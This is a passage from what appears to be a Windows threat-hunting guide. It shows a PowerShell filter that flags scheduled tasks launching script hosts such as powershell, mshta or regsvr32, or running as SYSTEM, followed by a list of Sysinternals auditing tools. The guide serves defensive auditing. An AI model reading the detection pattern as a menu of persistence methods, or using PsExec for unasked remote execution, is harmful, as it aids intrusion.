    $_.Actions -match "powershell|cmd\.exe|wscript|cscript|mshta|regsvr32" -or
    $_.RunAs -match "SYSTEM|S-1-5-18"
} | Format-Table Name, Path, RunAs, Actions -Wrap

Sysinternals Suite (mandatory download):
https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

Key tools:
- Autoruns      → Persistence auditing
- Process Explorer → Process investigation
- Process Monitor → Real-time file/registry/process activity
- TCPView        → Network connections to processes
- Strings        → Extract strings from binaries
- PsExec         → Remote execution (also understand as attack tool)
- AccessChk      → Permission auditing
- Sigcheck       → Verify digital signatures